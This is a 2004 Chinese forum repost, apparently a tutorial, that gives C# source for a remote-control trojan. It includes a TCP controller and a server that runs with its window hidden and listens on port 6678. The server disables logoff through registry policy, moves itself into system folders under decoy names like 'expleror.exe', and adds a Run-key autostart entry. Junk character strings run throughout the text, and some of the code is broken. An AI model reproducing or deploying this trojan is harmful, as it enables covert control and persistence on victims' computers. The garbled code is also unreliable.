找回密码
 入住遨海湾
搜索
网站解决方案专享优惠-3折上云
查看: 987|回复: 0

[转]用C#实现木马程序(分析)

[复制链接]
发表于 2004-12-24 14:19:00 | 显示全部楼层 |阅读模式

登录后查才能浏览下载更多咨询,有问题联系QQ:3283999

您需要 登录 才可以下载或查看,没有账号?入住遨海湾

×
  前一段时间我写了一个关于用C#木马的程序(程序见前),抱歉没有写分析,让大家难过了,现在补上:)。 - s5 V( F4 K) J3 j( {! c% R) R前言: $ i, \. K& t; u7 F! s我的技术不是很好,如果你是为了学习木马技术也许没有什么启发,这篇文章为了给学习C#的朋友。 / X. a( H2 X& N' \- u* B1 r木马的介绍:(参照黑客防线2000-2001精华本中的木马原理揭秘) % q0 j0 m6 T/ S( `因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。 9 x6 s2 h' ]& j3 E2 a; J使用的技术: - F$ T* n; x+ B/ u控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。 7 | x6 N6 o! N; X3 k5 V" m控制端开发: 6 w" U X' K3 \. r1 z控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。 : `4 h% J/ f# j7 V5 q5 ~. y4 w; E控制端的开发: $ k2 W% N+ P2 V0 z" y 控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。 * ]* _7 E$ s+ E5 t% b/ S 1 连接请求 * m& {5 Y# Y8 O. H# d y# E' a 使用了.NET类中的 System.Net.Sockets.TcpClient类, 6 {% m/ p0 N, u$ W& H l% gTcpClient(string hostname,int port) 5 h- m, ~- }7 n7 kHostname 是要控制的主机名称,当然你也可以用IP地址。 3 D: q4 u; D% Q. i3 f3 n0 Q* LPort是端口。 " _% v5 Y& Z, J; _0 C7 g" q // System.EventArgs包含事件数据类的基类 N Y0 Q9 P1 u6 x* | private void button7_Click(object sender, System.EventArgs e) 4 K; u: `1 D$ N+ H { 8 T- B( t t* L& d% m' C- V8 B( J `! G//记录操作,在richTextBox控件中增加操作信息 . _+ c" D0 a. t5 b# c5 krichTextBox1.AppendText("请求连接" +textBox1.Text +"\r"); & v, t$ R w7 r; w% O5 p; Q# I0 | int port =6678; . q4 C, p0 M- M5 w7 N. q4 ^7 p. W try 0 i$ C7 b3 ^' [! D' H! Q{ ( u: { [; z1 T. @" {4 ]# N* J //初始化 TcpClient 类的新实例并连接到指定主机上的指定端口 5 \4 I3 o5 Q/ s. ?1 x client = new TcpClient(textBox1.Text,port); . U; R8 `4 h1 ^$ c- s& |! S8 g/ k} 5 o$ a% P- E2 w& ~! n) I catch ; `% N3 u0 v( t1 n# n% t0 |{ ! o, T X# M8 P. c MessageBox.Show("服务器不在线!确定是否输入主机名称."); ; C p& x- u) i( s/ PrichTextBox1.AppendText("服务器不在线!确定是否输入主机名称."); ; e3 S6 y5 X: g/ R9 B; w) Z } % C; J/ |+ R! H9 a6 x$ l}//private void buttion x$ m; W: D3 U% D2测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 % F" B1 M2 c9 x+ \) r. D1 I//提供网络访问的数据流 # J0 o2 B/ a, |) ]' \2 S9 f9 a //private NetworkStream stream; 1 g. h$ F' F3 t: M( y2 f7 W 代码如下: ' r/ V& J4 L/ M% Z private void button8_Click(object sender, System.EventArgs e) 5 C0 m: e0 [* |( E2 |5 e- ] { { |9 _* W- e7 y7 l//纪录操作 ' k3 y1 D( n$ }* b5 u& _5 YrichTextBox1.AppendText("测试连接" +"\r"); : r! f6 ^$ e2 x* n, F5 r( r try : P# |( r/ t) A9 V2 E1 [- i: e4 u3 k { ) K$ f. K$ i9 I2 Z6 r6 i ! u' b9 m W2 [5 L% i. {stream = client.GetStream(); . s9 |% A u$ S9 F" @if(stream.CanWrite) * b4 q3 r+ [4 u" h{ 6 C! ^5 t! N# |; o P//发送控制码 ( s2 l7 K& `9 M Y string control = "jiance"; ; _+ R2 {8 @ Y5 c7 o1 Hbyte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray()); & z+ ~3 |) c- I5 h- [1 ~) b stream.Write(by,0,by.Length); # A4 `) h- l. k //下次使用 1 d$ D; G4 }- {: U) i: m, b, R0 { stream.Flush(); 3 q5 L" T: K& H+ Q$ K/ T& S4 \* j//启动接收反回数据的线程 4 @3 s; A( R5 b8 e//receive是线程执行的函数,见后面的分析 6 e3 g* f* f2 c3 t% s2 Y& ?4 | threadReceive = new Thread(new ThreadStart(receive)); 5 B4 z' V5 E: v9 M D5 UthreadReceive.Start(); & b# s5 a; H9 t, I } , ^5 X% K: p e; z5 f" } g } ' o, W1 P' N7 ~( ?% o catch(Exception ee) ; ?9 s7 G8 r \. @9 P( T{ " r" Z, f3 r& j6 g, b6 i richTextBox1.AppendText (ee.Message+"\r"); : L+ P& Z8 ~" A8 o MessageBox.Show(ee.Message); $ p" o1 C7 e/ L/ |! R7 G4 x2 K: r) N} 1 s2 @. N0 |- @. y( V } # m2 r# Q" f; b- a3控制生效的代码 6 Y* B* y5 D; i/ Aprivate void button9_Click(object sender, System.EventArgs e) , O. |* b# v, a{ + H) U7 N6 W3 t/ p: ^- X//这里是确定要发送的控制码,RadioButton是窗体控件 : _ j0 M1 Y) b+ ] if(radioButton1.Checked){ control = form2.zhucex;} 8 p- r2 |; C* f4 Y else if(radioButton2.Checked){ control =form3.zhuces;} * v. r% ^8 M5 S ^3 o else if(radioButton3.Checked){ control = warring;} : N6 v n$ b; n3 ?7 Oelse if(radioButton4.Checked){ control =suggest;} ; }) ^- B3 _" t; |( J) Selse if(radioButton5.Checked){ control =form4.mumawe;} ' u2 d E+ o6 p( Lelse if(radioButton6.Checked){ control =drop;} 6 y$ S! C! m; T9 u3 v2 ~# vif (control =="000000") 2 Q, e6 [0 ]' |5 W3 B4 z{ . I4 ^6 L! {) O! l5 QMessageBox.Show("你没有输入任何控制目标!不发控制信号"); y5 P- ` z% e: H; |0 M richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号"); ) P+ d5 J9 k2 v6 E$ M, ^3 d5 _ s0 k } % h5 g& V7 Y' G1 z2 qelse if(control != "000000") $ D: @1 o- [3 K C* ]9 e{ " L/ l2 h$ X" Q; Y, Qtry $ W; q, m! N( z5 g* w% k, w/ X{ 5 P% ?2 c$ b/ D9 w' i* ~9 y: _- s//记录操作 1 O, B0 {$ t" f% nrichTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r"); $ f: L* L6 `% g% e- m' d& r' T stream = client.GetStream(); 2 O% I8 S) K) R if(stream.CanWrite ) / z% I7 w0 ]( R0 B; ]' e! \ { ' E! b' p" O0 M- k. J byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ()); 6 }5 p/ Y( ^. ~1 G! ustream.Write(by,0,by.Length); , D) l% Y- b/ ~# r; Q$ A stream.Flush(); 4 {; D9 P g# _ threadReceive =new Thread(new ThreadStart(receive)); 3 n; c. A g9 K/ d& p3 D threadReceive.Start(); * [) H2 z* u5 \6 C- | }//endif 1 I6 K. Q) N) Y7 C4 ]}//try 8 P% Z# z3 N" P; v; \: U0 V1 ]+ Scatch X& b% D; n/ v0 ?4 L, ` { ( I. A9 p. r" O) m* T richTextBox1.AppendText("服务器未连接1控制无效!" +"\r"); ( J& z+ \" y: e" TMessageBox.Show("服务器未连接1控制无效!" +"\r"); . ~ P4 O, |$ M$ W7 H9 K w) X} % N: G4 K9 d# C3 O" S! `* ?. f( V}//else if 1 O7 E% A; k5 f4 W$ Q ` } ) R0 ]+ G! u: R5 j . z! V: M( w% \4 s4线程执行的函数 3 L" ^' _ j# t& [ h& Oprivate void receive() $ x% Z1 f; u5 V2 O J) Q{ ' K' c( m1 x, f6 t2 @' C //设置读取数据的空间 9 I1 `, x8 l7 o8 v( T# R byte[] bb = new byte[3]; + ~3 Q. h* }3 Y- J//读取3个字节,i为实际读取的字节数 * W' B1 p! g$ M. n5 q+ `' N% _int i = stream.Read(bb,0,3); 7 }5 X0 j0 i7 `//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); 7 m' E0 F$ x2 K, l string ss = System.Text.Encoding.ASCII.GetString(bb); % ~- E& m* L2 w- n/ @6 ?' P//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 4 c" l9 s: g. g R4 Z- h8 _* s! z if(ss=="hjc") 8 @6 D; a+ ~ w9 I5 U( \, _ { 1 i8 q( s$ x8 X# g: ~' X. y) wMessageBox.Show("连接成功"); 5 Y* s' U( T) ^# m1 e richTextBox1.AppendText("连接成功"); # [! W& F$ y0 y( L0 D( D6 f6 t } $ B1 p7 ~5 Y' p3 T# M# Z( K3 Aif(ss== "hkz") . x* ^% z) y& Y2 X/ k { " Y& x2 d& J5 {. `* [richTextBox1.AppendText(control +"控制成功"+"\r"); , z9 D0 ]' ?0 v6 m MessageBox.Show(control +"控制成功"+"\r"); ) I! f( M) h8 N } ^& B# K1 _& s5 _ } 5 F$ W8 Z& x5 y1 D0 I 服务端的开发: : D. G8 j6 g+ Y i# V8 A要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: ( U1 m0 t# H3 R7 G; ~7 ?: o 1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下: + q0 \3 K3 _" c+ Q$ Tprivate void InitializeComponent() 7 @% R3 F/ L& F) v; ?/ ^+ c4 K { % T" T3 L: v* q6 d A# _5 T// , Z6 @4 U/ \5 H+ E// Form1 1 G, y# u6 @$ H( H0 q// 8 F5 a1 f+ v. o* z2 A: k0 M' w //窗体显示的起点和大小 1 `6 T4 d6 w1 u, O2 W2 ~( y, qthis.AutoScaleBaseSize = new System.Drawing.Size(6, 14); : t b: w! H+ x/ c9 n this.ClientSize = new System.Drawing.Size(368, 357); ! _$ d& m/ q+ a* I//窗体名称 , n& `0 R s* R7 A this.Name = "Form1"; ) m- C/ [' t9 Z! {% v//设置属性让它后台运行 3 t) P7 D- a/ m$ } this.ShowInTaskbar = false; , V+ \5 F% R9 ?2 ythis.Text = "Form1"; ( i7 B- O" g8 |1 n" othis.WindowState = System.Windows.Forms.FormWindowState.Minimized; & z/ m! j# u: m0 r% T5 B } # ]/ w0 h- W- M. R% l2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下: # @0 e& z) ]0 g" |0 T+ Mpublic Form1() //窗体的构造函数 . }) F6 ]" [+ B1 _5 w: \ { 9 f2 G3 `3 e. B; _& s& X( K// % a3 S: A. H8 X // Windows 窗体设计器支持所必需的 0 T$ k! x5 l& E* B! q. v// 0 U; w9 t+ z6 o4 J4 p" E8 WInitializeComponent(); " c, P) a: t4 E2 K 5 w! V1 g/ [* b1 w- z// ( N1 ?- f# R# [' D! T5 M// TOD 在 InitializeComponent 调用后添加任何构造函数代码 ' U: Y& x. A5 F; r g* e8 U' r//加入你的侦听代码 + Z0 T% |# ]+ M. _6 X//端口你可以自已设定,我使用了固定的端口 1 n: G/ s+ U6 l9 s/ H- m int port =6678; 6 n* V2 a( Z5 y- @& ^//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 " m( U) Y/ q0 ^$ b O( G! T. [ listener = new TcpListener(port); 3 Y4 a ^5 v& X- @* x( `, S. b //启动侦听 6 V1 K9 j+ R, c" I$ j3 U* \1 n4 Q8 v listener.Start(); 7 ]7 T( d+ o, D5 f//增加接收控制码的线程,如果要停止线程可以用 Thread.abort() 6 @* X2 R B4 @2 h: H //reControlCode 是线程启动执行的函数,此函数根据接收的控制 9 B. O" Y" |! r: `/ ?- f8 a //控制码选取合适的注册表修改函数 ; y* Z0 f( e- s7 Z/ RThread thread = new Thread(new ThreadStart(reControlCode)); - |/ U- C0 O. T5 e0 othread.Start(); ! P/ G7 ^9 R- |1 p _} ) U9 r) Q$ u" Z Z0 j, B2 }reControlCode函数如下,完整代码见程序 & I0 y2 u. q7 F$ Q* _ private void reControlCode() 3 K, V o* i7 u& {{ " V/ S7 n# D6 t+ [) \//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 7 z0 ]) v# s# a socket = listener.AcceptSocket(); ( M b: c3 G4 p4 J//如果连接成功执行 5 [5 }! { z' `while (socket.Connected) 9 Q5 _8 f# f. Z{ 2 H K/ A( ]) N0 D: T/ a) z//接收控制码 , k. D: S: }; d6 q! o& Q byte [] by =new byte[6]; / H2 U' Q |& K7 P' I+ d( Iint i = socket.Receive(by,by.Length ,0); 6 m6 f0 F/ X% Gstring ss = System.Text.Encoding.ASCII.GetString(by); 1 b; C7 t5 L9 d, D8 J//根据控制码执行不同的功能 5 ^$ q6 E+ H8 {# R: ^- X - C& N# i# W6 v/ \8 j1 l0 q//修改注册表加入编码 9 g8 {' {- Q; d, `switch (ss) - d& ~* G1 F. j% z4 I- t* M2 Y K{ 7 a2 I; ^" p- O6 U# w case "jiance"://测试连接,返回测试信息 1 z- O/ q8 n( D) j" ]0 D8 kstring str ="hjc"; 1 E1 w* L; \3 c4 L9 X$ e' a& ]! l" }- ^ byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); # \; H; {# ~( Esocket.Send(bytee,0,bytee.Length,0); * D2 Z( ~7 |1 h9 ubreak; / }2 ]1 K3 e( n case "zx1000": 3 X% R: l# C) w8 O% ], u6 z- W//修改注册表函数,自已定义,见下面分析 : h$ r, O; \% K! U: f. s7 XUnLogOff(); 9 `8 t; Y4 n/ W/ q //返回控制消息 ; [/ R+ F, } X; ?& z/ e: d! v retMessage(); $ N+ Q% G! f: b9 N" i! wbreak; B1 |" b1 D$ a$ P/ r( P& J5 n5 B9 g5 U/ r4 p6 v2 _ case "zx0100": 5 A3 K3 m4 C1 M" q8 E' A //修改注册表函数 1 }' F' Z) L0 r8 Z) s3 gUnClose(); 5 `1 w0 x1 Y( B, L- y) L( O //返回控制消息 4 e3 e! I2 E7 s retMessage(); " @6 c/ F& r/ H) S break; ! `$ M) j" b( n //重复的case功能与前面一样,略掉 % {5 C" P- {2 j. {default: * C; O, |8 U: w, e) H5 X break; 9 g9 c! G. C8 O' y}//case * U2 Y( v6 x( P- O$ {}//while : h7 | i% X2 e$ i3 @) C9 c0 V: ~} //private void reControlCode # |& z& D8 ^- I! E8 G 3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer $ ?+ G$ P2 q$ d: I 下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改: " h" e7 i& b! b# b: ~. `+ H private void UnLogOff() " N4 q- D& O! A' m6 g { / t' b& ?4 g" f2 ^, A- D& M//得到主机的注册表的顶级节点 8 r+ V" @! l: @9 dMicrosoft.Win32.RegistryKey rLocal = Registry.LocalMachine; 5 r+ C+ H$ U8 b: v //设置一个注册表子键的变量 $ C" E9 g% I. k- ~4 \% N2 f; mRegistryKey key1; ' L. @, w/ _/ o3 Y; T try 5 g" ]: N& ]4 A { & T' `. Z6 Q1 ?9 s% w //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 . Q. h8 `) K4 D //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 / _8 p: }' \ E& Ukey1 = & b/ p4 C6 u' y, n- ~3 arLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true); 0 s- U6 p+ h. k0 o& ~% _" p2 M//设置子键的键名,和值 ; R7 k7 Q% W- h; [3 \# o; Ukey1.SetValue ("NoLogOff",1); ' t+ I2 W/ g, C/ Q //关闭打开的子键 b; U6 Z: @$ P6 g" N9 O key1.Close(); 1 {) m$ q$ z3 b4 @ {( l0 @ //警告字符串设定 2 K5 e+ v; p! b) n$ J" a0 dmystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; 1 l( a/ G+ w3 K0 [6 }6 s( t9 h } 4 N' Y6 ~$ E% r/ p, |5 u% \6 vcatch{} & L- u2 L: K1 Q3 w2 F* H6 i//如果不存在自已建立 " q& }4 V v0 b/ `0 O: b! q0 gif(key1 ==null) 9 i0 ^7 d9 {3 P/ R: r, B) Y. K { / o' T; }0 p. s( f" H& w- z' i Htry : P! T3 a9 E3 U4 ?- v{ 6 X# E7 F& K/ n//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 ( x% H- t- S0 H9 p1 r# [ RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"); 0 }6 L# d6 e5 Skey2.SetValue("NoLogOff",1); ! ?2 |9 H% y3 A$ L6 C: \ key2.Close(); 9 [ p1 s: I, n @mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; 3 g3 _3 c: D9 O# n! v4 Q} 0 u* [& Y) D3 K1 Y catch{} . ?- Z! j' Z/ H- z } 2 M$ k$ l: ?2 A } ; e4 |. ^0 ~# o* c4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。 / D8 N/ C# S; ^# m- _/ w) o private void moveCC1() 0 A8 n$ V. e1 a { # n/ I6 z% I/ R9 r try 6 X8 |3 X, F* L# Z# @# k{ ( L# k0 X( c" ^% B- K. K //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 4 C/ v; v2 B/ g* @, q//sourceFileName为要移动的文件名,destFileName为文件的新路径 5 I5 b r! v, T2 | File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe"); " [8 _$ z- U/ z2 j$ m1 |/ V/ E} + H9 a2 ` _' c" `- B catch {} ( C9 z. B& u% A* ^2 t: y# \//将新移的木马程序设为自启动.分析和前面一样 . A G+ M$ d# \try ; _7 Q( _. B9 N e { 5 r( `8 K" S1 I H key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true); " c7 W$ J* _ h% i3 z2 ^ key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); 9 k3 |& O9 f9 d2 U D( [key1.Close(); : B5 u5 T: S4 O5 `* t7 _+ s } : R1 p7 e) R9 C6 z$ B5 ], s+ _& { catch{} , J" q6 M* i, c. p if(key1 ==null) 3 I6 @8 U- l9 u7 O$ K { & f, j1 ?, V- v$ t0 w/ l try + V1 c! T0 k# q% `8 J% C7 d { * Y- U; G" d" O/ I1 T RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); * O5 F4 z* V7 E0 v8 ekey1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); 3 D. ?! |8 C |4 C* z& E key1.Close(); / }8 c% @- q3 x; [7 c) K } 6 F6 c- W; D' R" X catch{} Y; X& V. k+ k } 8 q& w c" \, _# l1 b3 a/ M } //moveCC1()
遨海湾-心灵的港湾 www.aosea.com
您需要登录后才可以回帖 登录 | 入住遨海湾

本版积分规则

网站解决方案专享优惠-3折上云

手机版|小黑屋|遨海湾超级社区

GMT+8, 2026-7-8 08:42

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表